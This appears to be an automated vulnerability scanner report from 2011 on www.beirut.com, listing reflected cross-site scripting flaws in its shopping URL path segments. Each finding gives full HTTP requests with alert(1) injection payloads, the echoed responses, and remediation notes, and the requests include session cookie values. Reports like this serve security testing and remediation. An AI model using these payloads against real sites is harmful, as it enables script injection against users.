GET /Shopping8746d'-alert(1)-'39fe49f3abb/Home-Furnishings/4120758082 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:38:37 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60169
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping8746d'-alert(1)-'39fe49f3abb/Home-Furnishings'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d794"><a>5692be18d18 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping5d794"><a>5692be18d18/Home-Furnishings/4120758082 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:32:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60126
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping5d794"><a>5692be18d18"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f959d'-alert(1)-'0fcd73ab29f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishingsf959d'-alert(1)-'0fcd73ab29f/4120758082 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:41:23 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61435
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Home-Furnishingsf959d'-alert(1)-'0fcd73ab29f'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 2798b<script>alert(1)</script>e80285ad017 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Home-Furnishings2798b<script>alert(1)</script>e80285ad017/4120758082 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:42:40 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62088
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Home Furnishings2798b<script>alert(1)</script>e80285ad017 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44d6f"><a>e3a5616e2bd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping44d6f"><a>e3a5616e2bd/Home-Furnishings/4120758082/Antiques-Collectibles/1 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:04:18 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59981
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping44d6f"><a>e3a5616e2bd"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 410d3'-alert(1)-'a317e9c2aac was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping410d3'-alert(1)-'a317e9c2aac/Home-Furnishings/4120758082/Antiques-Collectibles/1 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:10:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60306
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping410d3'-alert(1)-'a317e9c2aac/Home-Furnishings/4120758082/Antiques-Collectibles/1'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 8ce98<script>alert(1)</script>c2ed3248485 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Home-Furnishings8ce98<script>alert(1)</script>c2ed3248485/4120758082/Antiques-Collectibles/1 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:15:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61671
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Home Furnishings8ce98<script>alert(1)</script>c2ed3248485 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8d32f'-alert(1)-'bfb49ae926 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings8d32f'-alert(1)-'bfb49ae926/4120758082/Antiques-Collectibles/1 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:15:42 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61704
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Home-Furnishings8d32f'-alert(1)-'bfb49ae926/4120758082/Antiques-Collectibles/1'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1dd37'-alert(1)-'f03c05fd27d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/41207580821dd37'-alert(1)-'f03c05fd27d/Antiques-Collectibles/1 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:18:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61523
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Home-Furnishings/41207580821dd37'-alert(1)-'f03c05fd27d/Antiques-Collectibles/1'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 62a4f'-alert(1)-'f295ff77627 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Antiques-Collectibles62a4f'-alert(1)-'f295ff77627/1 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:23:38 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61695
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Home-Furnishings/4120758082/Antiques-Collectibles62a4f'-alert(1)-'f295ff77627/1'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9217c'-alert(1)-'c47ec416d99 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Antiques-Collectibles/19217c'-alert(1)-'c47ec416d99 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:28:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54958
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Home-Furnishings/4120758082/Antiques-Collectibles/19217c'-alert(1)-'c47ec416d99'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a7b3"><a>247829c505e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping2a7b3"><a>247829c505e/Home-Furnishings/4120758082/Art/2 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:19:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59966
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping2a7b3"><a>247829c505e"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ea5bc'-alert(1)-'b56e3f4b579 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppingea5bc'-alert(1)-'b56e3f4b579/Home-Furnishings/4120758082/Art/2 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:25:33 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59889
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shoppingea5bc'-alert(1)-'b56e3f4b579/Home-Furnishings/4120758082/Art/2'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a2634<script>alert(1)</script>37645397f51 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Home-Furnishingsa2634<script>alert(1)</script>37645397f51/4120758082/Art/2 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:31:07 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60272
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Home Furnishingsa2634<script>alert(1)</script>37645397f51 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dd7c0'-alert(1)-'72d10295555 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishingsdd7c0'-alert(1)-'72d10295555/4120758082/Art/2 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:29:47 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60264
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Home-Furnishingsdd7c0'-alert(1)-'72d10295555/4120758082/Art/2'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
